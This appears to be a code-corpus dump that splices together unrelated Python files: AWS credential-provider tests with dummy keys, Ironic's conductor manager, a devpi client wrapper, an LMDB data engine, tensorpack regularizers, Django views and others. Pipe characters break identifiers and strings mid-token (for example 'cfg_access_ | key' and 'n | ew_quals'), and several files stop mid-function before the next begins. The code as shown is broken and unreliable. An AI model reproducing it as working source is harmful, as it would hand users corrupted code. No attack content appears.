try:
self.shared_config[section_name][key]
return True
except KeyError:
return False
def get_shared_config(self, section_name, key):
try:
return self.shared_config[section_name][key]
except KeyError:
return None
def test_passed_in_values_are_used(self):
p = provider.Provider('aws', 'access_key', 'secret_key', 'security_token')
self.assertEqual(p.access_key, 'access_key')
self.assertEqual(p.secret_key, 'secret_key')
self.assertEqual(p.security_token, 'security_token')
def test_environment_variables_are_used(self):
self.environ['AWS_ACCESS_KEY_ID'] = 'env_access_key'
self.environ['AWS_SECRET_ACCESS_KEY'] = 'env_secret_key'
p = provider.Provider('aws')
self.assertEqual(p.access_key, 'env_access_key')
self.assertEqual(p.secret_key, 'env_secret_key')
self.assertIsNone(p.security_token)
def test_environment_variable_aws_security_token(self):
self.environ['AWS_ACCESS_KEY_ID'] = 'env_access_key'
self.environ['AWS_SECRET_ACCESS_KEY'] = 'env_secret_key'
self.environ['AWS_SECURITY_TOKEN'] = 'env_security_token'
p = provider.Provider('aws')
self.assertEqual(p.access_key, 'env_access_key')
self.assertEqual(p.secret_key, 'env_secret_key')
self.assertEqual(p.security_token, 'env_security_token')
def test_config_profile_values_are_used(self):
self.config = {
'profile dev': {
'aws_access_key_id': 'dev_access_key',
'aws_secret_access_key': 'dev_secret_key',
}, 'profile prod': {
'aws_access_key_id': 'prod_access_key',
'aws_secret_access_key': 'prod_secret_key',
}, 'Credentials': {
'aws_access_key_id': 'default_access_key',
'aws_secret_access_key': 'default_secret_key'
}
}
p = provider.Provider('aws', profile_name='prod')
self.assertEqual(p.access_key, 'prod_access_key')
self.assertEqual(p.secret_key, 'prod_secret_key')
q = provider.Provider('aws', profile_name='dev')
self.assertEqual(q.access_key, 'dev_access_key')
self.assertEqual(q.secret_key, 'dev_secret_key')
def test_config_missing_profile(self):
# None of these default profiles should be loaded!
self.shared_config = {
'default': {
'aws_access_key_id': 'shared_access_key',
'aws_secret_access_key': 'shared_secret_key',
}
}
self.config = {
'Credentials': {
'aws_access_key_id': 'default_access_key',
'aws_secret_access_key': 'default_secret_key'
}
}
with self.assertRaises(provider.ProfileNotFoundError):
provider.Provider('aws', profile_name='doesntexist')
def test_config_values_are_used(self):
self.config = {
'Credentials': {
'aws_access_key_id': 'cfg_access_key',
'aws_secret_access_key': 'cfg_secret_key',
}
}
p = provider.Provider('aws')
self.assertEqual(p.access_key, 'cfg_access_key')
self.assertEqual(p.secret_key, 'cfg_secret_key')
self.assertIsNone(p.security_token)
def test_config_value_security_token_is_used(self):
self.config = {
'Credentials': {
'aws_access_key_id': 'cfg_access_key',
'aws_secret_access_key': 'cfg_secret_key',
'aws_security_token': 'cfg_security_token',
}
}
p = provider.Provider('aws')
self.assertEqual(p.access_key, 'cfg_access_ | key')
self.assertEqual(p.secret_key, 'cfg_secret_key')
self.assertEqual(p.security_token, 'cfg_security_token')
def test_keyring_is_used(self):
self.config = {
'Credentials': {
| 'aws_access_key_id': 'cfg_access_key',
'keyring': 'test',
}
}
import sys
try:
import keyring
imported = True
except ImportError:
sys.modules['keyring'] = keyring = type(mock)('keyring', '')
imported = False
try:
with mock.patch('keyring.get_password', create=True):
keyring.get_password.side_effect = (
lambda kr, login: kr+login+'pw')
p = provider.Provider('aws')
self.assertEqual(p.access_key, 'cfg_access_key')
self.assertEqual(p.secret_key, 'testcfg_access_keypw')
self.assertIsNone(p.security_token)
finally:
if not imported:
del sys.modules['keyring']
def test_passed_in_values_beat_env_vars(self):
self.environ['AWS_ACCESS_KEY_ID'] = 'env_access_key'
self.environ['AWS_SECRET_ACCESS_KEY'] = 'env_secret_key'
self.environ['AWS_SECURITY_TOKEN'] = 'env_security_token'
p = provider.Provider('aws', 'access_key', 'secret_key')
self.assertEqual(p.access_key, 'access_key')
self.assertEqual(p.secret_key, 'secret_key')
self.assertEqual(p.security_token, None)
def test_env_vars_beat_shared_creds_values(self):
self.environ['AWS_ACCESS_KEY_ID'] = 'env_access_key'
self.environ['AWS_SECRET_ACCESS_KEY'] = 'env_secret_key'
self.shared_config = {
'default': {
'aws_access_key_id': 'shared_access_key',
'aws_secret_access_key': 'shared_secret_key',
}
}
p = provider.Provider('aws')
self.assertEqual(p.access_key, 'env_access_key')
self.assertEqual(p.secret_key, 'env_secret_key')
self.assertIsNone(p.security_token)
def test_shared_creds_beat_config_value |
ionutbalutoiu/ironic | ironic/conductor/manager.py | Python | apache-2.0 | 116,241 | 0.000009 | # coding=utf-8
# Copyright 2013 Hewlett-Packard Development Company, L.P.
# Copyright 2013 International Business Machines Corporation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Conduct all activity related to bare-metal deployments.
A single instance of :py:class:`ironic.conductor.manager.ConductorManager` is
created within the *ironic-conductor* process, and is responsible for
performing all actions on bare metal resources (Chassis, Nodes, and Ports).
Commands are received via RPCs. The conductor service also performs periodic
tasks, eg. to monitor the status of active deployments.
Drivers are loaded via entrypoints by the
:py:class:`ironic.common.driver_factory` class. Each driver is instantiated
only once, when the ConductorManager service starts. In this way, a single
ConductorManager may use multiple drivers, and manage heterogeneous hardware.
When multiple :py:class:`ConductorManager` are run on different hosts, they are
all active and cooperatively manage all nodes in the deployment. Nodes are
locked by each conductor when performing actions which change the state of that
node; these locks are represented by the
:py:class:`ironic.conductor.task_manager.TaskManager` class.
A :py:class:`ironic.common.hash_ring.HashRing` is used to distribute nodes
across the set of active conductors which support each node's driver.
Rebalancing this ring can trigger various actions by each conductor, such as
building or tearing down the TFTP environment for a node, notifying Neutron of
a change, etc.
"""
import collections
import datetime
import tempfile
import eventlet
from oslo_config import cfg
from oslo_log import log
import oslo_messaging as messaging
from oslo_service import periodic_task
from oslo_utils import excutils
from oslo_utils import uuidutils
from ironic.common import dhcp_factory
from ironic.common import exception
from ironic.common.glance_service import service_utils as glance_utils
from ironic.common.i18n import _
from ironic.common.i18n import _LE
from ironic.common.i18n import _LI
from ironic.common.i18n import _LW
from ironic.common import images
from ironic.common import states
from ironic.common import swift
from ironic.conductor import base_manager
from ironic.conductor import task_manager
from ironic.conductor import utils
from ironic import objects
from ironic.objects import base as objects_base
MANAGER_TOPIC = 'ironic.conductor_manager'
LOG = log.getLogger(__name__)
conductor_opts = [
cfg.StrOpt('api_url',
help=_('URL of Ironic API service. If not set ironic can '
'get the current value from the keystone service '
'catalog.')),
cfg.IntOpt('heartbeat_timeout',
default=60,
help=_('Maximum time (in seconds) since the last check-in '
'of a conductor. A conductor is considered inactive '
'when this time has been exceeded.')),
cfg.IntOpt('sync_power_state_interval',
default=60,
help=_('Interval between syncing the node power state to the '
'database, in seconds.')),
cfg.IntOpt('check_provision_state_interval',
default=60,
help=_('Interval between checks of provision timeouts, '
'in seconds.')),
cfg.IntOpt('deploy_callback_timeout',
default=1800,
help=_('Timeout (seconds) to wait for a callback from '
'a deploy ramdisk. Set to 0 to disable timeout.')),
cfg.BoolOpt('force_power_state_during_sync',
default=True,
help=_('During sync_power_state, should the hardware power '
'state be set to the state recorded in the database '
'(True) or should the database be updated based on '
'the hardware state (False).')),
cfg.IntOpt('power_state_sync_max_retries',
default=3,
help=_('During sync_power_state failures, limit the '
'number of times Ironic should try syncing the '
'hardware node power state with the node power state '
'in DB')),
cfg.IntOpt('periodic_max_workers',
default=8,
help=_('Maximum number of worker threads that can be started '
'simultaneously by a periodic task. Should be less '
'than RPC thread pool size.')),
cfg.IntOpt('node_locked_retry_attempts',
default=3,
help=_('Number of attempts to grab a node lock.')),
cfg.IntOpt('node_locked_retry_interval',
default=1,
help=_('Seconds to sleep between node lock attempts | .')),
cfg.BoolOpt('send_sensor_data',
default=False,
help=_('Enable sending sensor data message via the '
'notification bus')),
cfg.I | ntOpt('send_sensor_data_interval',
default=600,
help=_('Seconds between conductor sending sensor data message'
' to ceilometer via the notification bus.')),
cfg.ListOpt('send_sensor_data_types',
default=['ALL'],
help=_('List of comma separated meter types which need to be'
' sent to Ceilometer. The default value, "ALL", is a '
'special value meaning send all the sensor data.')),
cfg.IntOpt('sync_local_state_interval',
default=180,
help=_('When conductors join or leave the cluster, existing '
'conductors may need to update any persistent '
'local state as nodes are moved around the cluster. '
'This option controls how often, in seconds, each '
'conductor will check for nodes that it should '
'"take over". Set it to a negative value to disable '
'the check entirely.')),
cfg.BoolOpt('configdrive_use_swift',
default=False,
help=_('Whether to upload the config drive to Swift.')),
cfg.StrOpt('configdrive_swift_container',
default='ironic_configdrive_container',
help=_('Name of the Swift container to store config drive '
'data. Used when configdrive_use_swift is True.')),
cfg.IntOpt('inspect_timeout',
default=1800,
help=_('Timeout (seconds) for waiting for node inspection. '
'0 - unlimited.')),
cfg.BoolOpt('clean_nodes',
default=True,
help=_('Cleaning is a configurable set of steps, such as '
'erasing disk drives, that are performed on the node '
'to ensure it is in a baseline state and ready to be '
'deployed to. '
'This is done after instance deletion, and during '
'the transition from a "managed" to "available" '
'state. When enabled, the particular steps '
'performed to clean a node depend on which driver '
'that node is managed by; see the individual '
'driver\'s documentation for details. '
'NOTE: The introduction of the cleaning operation '
'causes instance deletion to take significantly '
'longer. In an environment where all tenants are '
|
TAMU-CPT/galaxy-tools | tools/gff3/fix_ncbi.py | Python | gpl-3.0 | 1,293 | 0.001547 | #!/usr/bin/env python
import sys
import logging
import argparse
from gff3 import feature_lambda, feature_test_type
from CPT_GFFParser import gffParse, gffWrite
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)
def safe_qualifiers(quals):
unsafe_quals = ("ID", "Parent", "Name")
new_quals = {}
for (key, value) in quals.items():
if key not in unsafe_quals:
n | ew_quals[key] = value
return new_quals
def fix_ncbi(gff3):
for rec in gffParse(gff3):
for feature in feature_lambda(
rec.features, feature_test_type, {"type": "gene"}, subfeatures=True
):
CDSs = list(
feature_lambda(
feature.sub_features,
feature_test_type,
{"type": "CDS"},
subfeatures=False,
)
)
if len(CDSs) | == 1:
feature.qualifiers.update(safe_qualifiers(CDSs[0].qualifiers))
gffWrite([rec], sys.stdout)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="correct their terrible GFF data")
parser.add_argument("gff3", type=argparse.FileType("r"), help="GFF3 annotations")
args = parser.parse_args()
fix_ncbi(**vars(args))
|
eavatar/ava | src/eavatar.ava/ava/core/data.py | Python | bsd-3-clause | 8,549 | 0.000117 | # -*- coding: utf-8 -*-
"""
Data engine implementation based on lighting memory database
(http://symas.com/mdb/).
The Lmdb is initialized, the access needs to use its binding API, though.
Extension packages may provide higher-level APIs based on this.
"""
from __future__ import absolute_import, division, unicode_literals
import os
import logging
import lmdb
from ava.util import time_uuid
from ava.runtime import environ
from ava.spi.errors import DataNotFoundError, DataError
_DATA_FILE_DIR = b'data'
logger = logging.getLogger(__name__)
class Store(object):
def __init__(self, name, _db, _engine):
self.name = name
self._db = _db
self._engine = _engine
def __len__(self):
with self._engine.database.begin() as txn:
stat = txn.stat(self._db)
return stat['entries']
def __getitem__(self, key):
with self._engine.cursor(self.name) as cur:
return cur.get(key)
def __setitem__(self, key, value):
with self._engine.cursor(self.name, readonly=False) as cur:
cur.put(key, value)
def __delitem__(self, key):
with self._engine.cursor(self.name, readonly=False) as cur:
cur.remove(key)
def __iter__(self):
return self._engine.cursor(self.name).iternext()
def put(self, key, value):
with self._engine.cursor(self.name, readonly=False) as cur:
return cur.put(key, value)
def get(self, key):
with self._engine.cursor(self.name, readonly=True) as cur:
return cur.get(key)
def remove(self, key):
with self._engine.cursor(self.name, readonly=False) as cur:
return cur.remove(key)
def cursor(self, readonly=True):
return self._engine.cursor(self.name, readonly=readonly)
class Cursor(object):
def __init__(self, _txn, _db, _readonly=True):
self._txn = _txn
self._db = _db
self._readonly = _readonly
self._cursor = lmdb.Cursor(_db, _txn)
def __enter__(self, *args, **kwargs):
self._txn.__enter__(*args, **kwargs)
self._cursor.__enter__()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self._cursor.__exit__(exc_type, exc_val, exc_tb)
self._txn.__exit__(exc_type, exc_val, exc_tb)
def first(self):
return self._cursor.first()
def next(self):
return self._cursor.next()
def prev(self):
return self._cursor.prev()
def last(self):
return self._cursor.last()
def iternext(self, keys=True, values=False):
return self._cursor.iternext(keys=True, values=False)
def iterprev(self, keys=True, values=False):
return self._cursor.iterprev(keys=True, values=False)
def close(self):
self._cursor.close()
def value(self):
"""
Gets raw value of the record.
:return: record's value.
"""
return self._cursor.value()
def key(self):
return self._cursor.key()
def get(self, key):
if not self._cursor.set_key(key):
return None
return self._cursor.value()
def load(self, key):
"""
Same as get method, except raising exception if entry not found.
:param _key: item key.
:return: the value.
"""
ret = self.get(key)
if ret is None:
raise DataNotFoundError()
return ret
def delete(self):
"""
Actually deletes document and it | s revisions if required.
:return:
"""
return self._cursor.delete(True)
def remove(self, key):
"""
Delete the current element and move to the next, returning True on
success or False if the store was empty
:return:
"""
if isinstance(key, unicode):
key = key.encode(' | utf-8')
if not self._cursor.set_key(key):
return False
return self._cursor.delete(True)
def seek(self, key):
"""
Finds the document with the provided ID and moves position to its first revision.
:param key:
:return: True if found; False, otherwise.
"""
if isinstance(key, unicode):
key = key.encode('utf-8')
return self._cursor.set_key(key)
def seek_range(self, key):
"""
Finds the document whose ID is greater than or equal to the provided
ID and moves position to its first revision.
:param key:
:return:
"""
return self._cursor.set_range(key)
def count(self):
"""
Return the number of values (“duplicates”) for the current key.
Only meaningful for databases opened with dupsort=True.
:return:
"""
return self._cursor.count()
def post(self, value):
key = time_uuid.utcnow().hex
if self._cursor.put(key, value):
return key
return None
def pop(self):
"""
Fetch the first document then delete it. Returns None if no value
existed.
:return:
"""
if self._cursor.first():
return self._cursor.pop(self._cursor.key())
def put(self, key, value):
if isinstance(key, unicode):
key = key.encode('utf-8')
return self._cursor.put(key, value)
def exists(self, key):
if isinstance(key, unicode):
key = key.encode('utf-8')
if self._cursor.set_key(key):
return True
return False
class DataEngine(object):
def __init__(self):
logger.debug("Initializing data engine...")
self.datapath = None
self.database = None
self.stores = {}
def start(self, ctx=None):
logger.debug("Starting data engine...")
# register with the context
ctx.bind('dataengine', self)
self.datapath = os.path.join(environ.pod_dir(), _DATA_FILE_DIR)
logger.debug("Data path: %s", self.datapath)
try:
self.database = lmdb.Environment(self.datapath, max_dbs=1024)
with self.database.begin(write=False) as txn:
cur = txn.cursor()
for k, v in iter(cur):
logger.debug("Found existing store: %s", k)
_db = self.database.open_db(k, create=False)
self.stores[k] = Store(k, _db, self)
except lmdb.Error:
logger.exception("Failed to open database.", exc_info=True)
raise
logger.debug("Data engine started.")
def stop(self, ctx=None):
logger.debug("Stopping data engine...")
if self.database:
self.database.close()
logger.debug("Data engine stopped.")
def store_names(self):
return self.stores.keys()
def create_store(self, name):
try:
_db = self.database.open_db(name, dupsort=False, create=True)
store = Store(name, _db, self)
self.stores[name] = store
return store
except lmdb.Error as ex:
logger.exception(ex)
raise DataError(ex.message)
def get_store(self, name, create=True):
result = self.stores.get(name)
if result is None and create:
return self.create_store(name)
return result
def remove_store(self, name):
try:
store = self.stores.get(name)
if store is not None:
with self.database.begin(write=True) as txn:
txn.drop(store._db)
del self.stores[name]
except lmdb.Error as ex:
logger.exception("Failed to remove store.", ex)
raise DataError(ex.message)
def remove_all_stores(self):
for name in self.stores.keys():
self.remove_store(name)
def store_exists(self, name):
return name in self.stores
def cursor(self, store_name, readonly=True):
_write = True
if readonly:
_write = False
_db = self.database.open_db(store_name, create=False, dupsort=True)
_txn = self.database.begin(write=_write, buffers= |
dsysoev/fun-with-algorithms | string/stringsearch.py | Python | mit | 809 | 0.002472 |
"""
Naive string matcher implementation
"""
from __future__ import print_function
def naive_string_matcher(string, target):
""" returns all indices where substring target occurs in string """
snum = len(string)
tnum = len(target)
matchlist = []
for index in range(snum - tnum + 1):
if string[index:index + tnum] == target:
matchlist.append(index)
return mat | chlist
if __name__ in '__main__':
for STR, TARGET in [
('abcdefabcdeab', 'ab'),
('abababcdefabcdeab', 'abab'),
('ababcdef | abcdeab', 'abc'),
('abcdefabcdeab', 'c'),
('abcdefabcdeab', 'abcde'),
]:
POS = naive_string_matcher(STR, TARGET)
print('string: {:20s} target: {:5s} positions: {}'.format(STR, TARGET, POS))
|
wikimedia/thumbor-video-loader | setup.py | Python | mit | 886 | 0 | # -*- co | ding: utf-8 -*-
from setuptools import setup, find_packages
setup(
name='wikimedia_thumbor_video_loader',
version='0.1.1',
url='https://github.com/wikimedia/thumbor-video-loader',
license='MIT',
author='Gilles Dubuc, Wikimedia Foundation',
description='Thumbor video loader',
packages=find_packages(),
include_package_data=True,
zip_safe=False,
| platforms='any',
install_requires=[
'thumbor',
],
extras_require={
'tests': [
'pyvows',
'coverage',
],
},
classifiers=[
'Development Status :: 4 - Beta',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Software Development :: Libraries :: Python Modules'
]
)
|
jantman/gw2copilot | gw2copilot/utils.py | Python | agpl-3.0 | 5,105 | 0.000588 | """
gw2copilot/utils.py
The latest version of this package is available at:
<https://github.com/jantman/gw2copilot>
################################################################################
Copyright 2016 Jason Antman <jason@jasonantman.com> <http://www.jasonantman.com>
This file is part of gw2copilot.
gw2copilot is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
gw2copilot is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with gw2copilot. If not, see <http://www.gnu.org/licenses/>.
The Copyright and Authors attributions contained herein may not be removed or
otherwise altered, except to add the Author attribution of a contributor to
this work. (Additional Terms pursuant to Section 7b of the AGPL v3)
################################################################################
While not legally required, I sincerely request that anyone who finds
bugs please submit them at <https://github.com/jantman/gw2copilot> or
to me via email, and that you send an | y contributions or improvements
either as a pull request on GitHub, or to me via email.
################################################################################
AUTHORS:
Jason Antman <jason@jasonantman.com> <http://www.jasonantman.com>
################################################################################
"""
import sys
from .version import VERSION
import logging
import inspect
import json
import time
import os
import re
logger = logging.getLogger(__na | me__)
def make_response(s):
"""
Return the value for a Twisted/Klein response; if running under python 3+
utf-8 encode the response, otherwise return ``s``.
:param s: response string
:type s: str
:return: response string, possibly encoded
:rtype: str
"""
if sys.version_info[0] < 3:
return s
return s.encode('utf-8') # nocoverage - unreachable under py2
def set_headers(request):
"""
Set headers that all HTTP responses should have.
:param request: incoming HTTP request
:type request: :py:class:`twisted.web.server.Request`
"""
# find the original Twisted server header
twisted_server = request.responseHeaders.getRawHeaders(
'server', 'Twisted'
)[0]
request.setHeader('server',
'gw2copilot/%s/%s' % (VERSION, twisted_server))
def log_request(request):
"""
Log request information and handling function, via Python logging.
:param request: incoming HTTP request
:type request: :py:class:`twisted.web.server.Request`
"""
# find caller information
curframe = inspect.currentframe()
callingframe = inspect.getouterframes(curframe, 2)
caller_name = callingframe[1][3]
caller_class = callingframe[1][0].f_locals.get('self', None)
if caller_class is None:
class_name = ''
else:
class_name = caller_class.__class__.__name__ + '.'
caller = class_name + caller_name
logger.info('REQUEST %s%s for %s from %s:%s handled by %s()',
('QUEUED ' if request.queued else ''),
str(request.method), request.uri,
request.client.host, request.client.port, caller
)
def dict2js(varname, data):
"""
Convert dict ``data`` to javascript source code for a javascript variable
named ``varname``.
:param varname: name of the JS source variable
:type varname: str
:param data: dict to represent as an object
:type data: dict
:return: javascript source snippet
:rtype: str
"""
return "var %s = %s;\n" % (
varname, json.dumps(data, sort_keys=True, indent=4)
)
def file_age(p):
"""
Return the age of a file in seconds.
:param p: path to the file
:type p: str
:return: file age in seconds
:rtype: float
"""
return time.time() - os.stat(p).st_mtime
def extract_js_var(s, varname):
"""
Given a string of javascript source code, extract the source of the given
variable name. Makes rather naive assumptions about correct formatting.
:param s: original JS source string
:type s: str
:param varname: the variable name to get
:type v: str
:return: source of specified variable
:rtype: str
"""
vname_re = re.compile('^var %s\s+=\s+{.*$' % varname)
src = ''
in_var = False
for line in s.split("\n"):
if not in_var and vname_re.match(line):
in_var = True
src += line + "\n"
elif in_var:
src += line + "\n"
if '};' in line:
return src
raise Exception("Could not parse JS variable %s from source" % varname)
|
tylerdave/devpi-plumber | devpi_plumber/client.py | Python | bsd-3-clause | 4,716 | 0.001696 | import re
import sys
import logging
import contextlib
from collections import OrderedDict
from six import iteritems, StringIO
from six.moves.urllib.parse import urlsplit, urlunsplit
from devpi.main import main as devpi
from twitter.common.contextutil import mutable_sys, temporary_dir
logging.getLogger("requests").setLevel(logging.WARNING)
logging.getLogger("devpi").setLevel(logging.WARNING)
class DevpiClientError(Exception):
"""
Exception thrown whenever a client command fails
"""
pass
@contextlib.contextmanager
def DevpiClient(url, user=None, password=None):
"""
Yields a light wrapper object around the devpi client.
"""
with temporary_dir() as client_dir:
wrapper = DevpiCommandWrapper(url, client_dir)
if user and password is not None:
wrapper.login(user, password)
yield wrapper
class DevpiCommandWrapper(object):
def __init__(self, url, client_dir):
self._url = url
self._server_url = self._extract_server_url(url)
self._client_dir = client_dir
self._execute('use', url)
def _extract_server_url(self, url):
parts = urlsplit(url)
return urlunsplit((parts.scheme, parts.netloc, '', '', ''))
def _execute(self, *args, **kwargs):
kwargs = OrderedDict(kwargs)
kwargs.update({'--clientdir': self._client_dir})
args = ['devpi'] + list(args) + ['{}={}'.format(k, v) for k,v in iteritems(kwargs)]
with mutable_sys():
sys.stdout = sys.stderr = output = StringIO()
try:
devpi(args)
return output.getvalue()
except SystemExit:
raise DevpiClientError(output.getvalue())
def use(self, *args):
url = '/'.join([self._server_url] + list(args))
result = self._execute('use', url)
self._url = url # to be exception save, only updated now
return result
def login(self, user, password):
return self._execute('login', user, '--password', password)
def logoff(self):
return self._execute('logoff')
def create_user(self, user, *args, **kwargs):
return self._execute('user', '--create', user, *args, **kwargs)
def create_index(self, index, *args, **kwargs):
return self._execute('index', '--create', index, *args, **kwargs)
def modify_user(self, user, *args, **kwargs):
return self._execute('user', '--modify', user, *args, **kwargs)
def modify_index(self, index, *args, **kwargs):
return self._execute('index', index, *args, **kwargs)
def upload(self, path, directory=False, dry_run=False):
args = ['upload']
if dry_run:
args.append('--dry-run')
if directory:
args.append('--from-dir')
args.append(path)
return self._execute(*args)
def list(self, *args):
try:
return self._execute('list', *args).splitlines()
except DevpiClientError as e:
if '404 Not Found' in str(e):
return []
else:
raise e
def list_indices(self, user=None):
"""
Show all available indices at the remote server.
:param user: Only list indices of this user.
:return: List of indices in format ``<user>/<index>``.
"""
def user_filter(line):
return (user is None) or line.startswith(user + '/')
return [l.split()[0] for l in self._execute('use', '-l').splitlines() if user_filter(l)]
def remove(self, *args):
return self._execute('remove', '-y', *args)
@property
def server_url(self):
return self._server_url
@property
def url(self):
return self._url
@property
def user(self):
"""
The user currently logged in or None.
"""
match = re.search('logged in as (\w+)', self._execute('use'))
return match.group(1) if match else None
@contextlib.contextmanager
def volatile_index(client, index, force_volatile=True):
"""
Ensure that the given index is volatile.
:param client: A devpi_plumber.DevpiClient connected to the server to operate on.
:param index: The index to ensure the volatility on.
:param force_volatile: If F | alse, an exception will be raised instead of making an non-volatile index volati | le.
"""
is_volatile = 'volatile=True' in client.modify_index(index)
if not is_volatile and not force_volatile:
raise DevpiClientError('Index {} is not volatile.'.format(index))
client.modify_index(index, volatile=True)
try:
yield
finally:
client.modify_index(index, volatile=is_volatile)
|
google-research/ssl_detection | third_party/tensorpack/tensorpack/models/regularize.py | Python | apache-2.0 | 6,528 | 0.002451 | # -*- coding: utf-8 -*-
# File: regularize.py
import re
import tensorflow as tf
from ..compat import tfv1
from ..tfutils.common import get_tf_version_tuple
from ..tfutils.tower import get_current_tower_context
from ..utils import logger
from ..utils.argtools import graph_memoized
from .common import layer_register
__all__ = ['regularize_cost', 'regularize_cost_from_collection',
'l2_regularizer', 'l1_regularizer', 'Dropout']
@graph_memoized
def _log_once(msg):
logger.info(msg)
if get_tf_version_tuple() <= (1, 12):
l2_regularizer = tf.contrib.layers.l2_regularizer # deprecated
l1_regularizer = tf.contrib.layers.l1_regularizer # deprecated
else:
# oh these little dirty details
l2_regularizer = lambda x: tf.keras.regularizers.l2(x * 0.5) # noqa
l1_regularizer = tf.keras.regularizers.l1
def regularize_cost(regex, func, name='regularize_cost'):
"""
Apply a regularizer on trainable variables matching the regex, and print
the matched variables (only print once in multi-tower training).
In replicated mode, it will only regularize variables within the current tower.
If called under a TowerContext with `is_training==False`, this function returns a zero constant tensor.
Args:
regex (str): a regex to match variable names, e.g. "conv.*/W"
func: the regularization function, which takes a tensor and returns a scalar tensor.
E.g., ``tf.nn.l2_loss, tf.contrib.layers.l1_regularizer(0.001)``.
Returns:
tf.Tensor: a scalar, the total regularization cost.
Example:
.. code-block:: python
cost = cost + regularize_cost("fc.*/W", l2_regularizer(1e-5))
"""
assert len(regex)
ctx = get_current_tower_context()
if not ctx.is_training:
# Currently cannot build the wd_cost correctly at inference,
# because ths vs_name used in inference can be '', therefore the
# variable filter will fail
return tf.constant(0, dtype=tf.float32, name='empty_' + name)
# If vars are shared, regularize all of them
# If vars are replicated, only regularize those in the current tower
if ctx.has_own_variables:
params = ctx.get_collection_in_tower(tfv1.GraphKeys.TRAINABLE_VAR | IABLES)
else:
params = tfv1.trainable_variables()
names = []
with tfv1.name_scope(name + '_internals'):
costs = []
for p in params:
para_name = p.op.name
if re.search(regex, para_name):
regloss = func( | p)
assert regloss.dtype.is_floating, regloss
# Some variables may not be fp32, but it should
# be fine to assume regularization in fp32
if regloss.dtype != tf.float32:
regloss = tf.cast(regloss, tf.float32)
costs.append(regloss)
names.append(p.name)
if not costs:
return tf.constant(0, dtype=tf.float32, name='empty_' + name)
# remove tower prefix from names, and print
if len(ctx.vs_name):
prefix = ctx.vs_name + '/'
prefixlen = len(prefix)
def f(name):
if name.startswith(prefix):
return name[prefixlen:]
return name
names = list(map(f, names))
logger.info("regularize_cost() found {} variables to regularize.".format(len(names)))
_log_once("The following tensors will be regularized: {}".format(', '.join(names)))
return tf.add_n(costs, name=name)
def regularize_cost_from_collection(name='regularize_cost'):
"""
Get the cost from the regularizers in ``tf.GraphKeys.REGULARIZATION_LOSSES``.
If in replicated mode, will only regularize variables created within the current tower.
Args:
name (str): the name of the returned tensor
Returns:
tf.Tensor: a scalar, the total regularization cost.
"""
ctx = get_current_tower_context()
if not ctx.is_training:
# TODO Currently cannot build the wd_cost correctly at inference,
# because ths vs_name used in inference can be '', therefore the
# variable filter will fail
return tf.constant(0, dtype=tf.float32, name='empty_' + name)
# NOTE: this collection doesn't always grow with towers.
# It only grows with actual variable creation, but not get_variable call.
if ctx.has_own_variables: # be careful of the first tower (name='')
losses = ctx.get_collection_in_tower(tfv1.GraphKeys.REGULARIZATION_LOSSES)
else:
losses = tfv1.get_collection(tfv1.GraphKeys.REGULARIZATION_LOSSES)
if len(losses) > 0:
logger.info("regularize_cost_from_collection() found {} regularizers "
"in REGULARIZATION_LOSSES collection.".format(len(losses)))
def maploss(l):
assert l.dtype.is_floating, l
if l.dtype != tf.float32:
l = tf.cast(l, tf.float32)
return l
losses = [maploss(l) for l in losses]
reg_loss = tf.add_n(losses, name=name)
return reg_loss
else:
return tf.constant(0, dtype=tf.float32, name='empty_' + name)
@layer_register(use_scope=None)
def Dropout(x, *args, **kwargs):
"""
Same as `tf.layers.dropout`.
However, for historical reasons, the first positional argument is
interpreted as keep_prob rather than drop_prob.
Explicitly use `rate=` keyword arguments to ensure things are consistent.
"""
if 'is_training' in kwargs:
kwargs['training'] = kwargs.pop('is_training')
if len(args) > 0:
if args[0] != 0.5:
logger.warn(
"The first positional argument to tensorpack.Dropout is the probability to keep, rather than to drop. "
"This is different from the rate argument in tf.layers.Dropout due to historical reasons. "
"To mimic tf.layers.Dropout, explicitly use keyword argument 'rate' instead")
rate = 1 - args[0]
elif 'keep_prob' in kwargs:
assert 'rate' not in kwargs, "Cannot set both keep_prob and rate!"
rate = 1 - kwargs.pop('keep_prob')
elif 'rate' in kwargs:
rate = kwargs.pop('rate')
else:
rate = 0.5
if kwargs.get('training', None) is None:
kwargs['training'] = get_current_tower_context().is_training
if get_tf_version_tuple() <= (1, 12):
return tf.layers.dropout(x, rate=rate, **kwargs)
else:
return tf.nn.dropout(x, rate=rate if kwargs['training'] else 0.)
|
Kami/munin_exchange | munin_exchange/apps/core/views.py | Python | bsd-3-clause | 1,990 | 0.042211 | import markdown
from django.shortcuts import render_to_response, get_object_or_404, HttpResponse, HttpResponseRedirect, Http404
from django.template import RequestContext
from django.contrib.auth.decorators import login_required
from django.contrib import messages
from django.views.decorators.csrf import csrf_exempt
from django.contrib.comments.models import Comment
from forms import ProfileForm
def index(request):
return render_to_response('index.html', {}, \
context_instance = RequestContext(request))
@csrf_exempt
def markdown_preview(request):
if not request.POST:
raise Http404()
try:
data = request.POST['data']
except KeyError:
raise Http404()
data_formatted = markdown.markdown(data)
return render_to_response('core/markdown_preview.html', {'data': data_formatted}, \
context_instance = RequestContext(request))
@login_required
def profile(request):
'''
Displays page whe | re user can update their profile.
@param request: Django request object.
@return: Rendered profile.html.
'''
if request.method == 'POST':
form = ProfileForm(request.POST)
if form.is_valid():
data = form.cleaned_data
print data
#Update user with form data
request.user.first_name = data['first_name']
request.user.last_name = data['last_name']
request.user.email = data['email']
request.user.save()
messages.success(request, 'Successfu | lly updated profile!')
else:
#Try to pre-populate the form with user data.
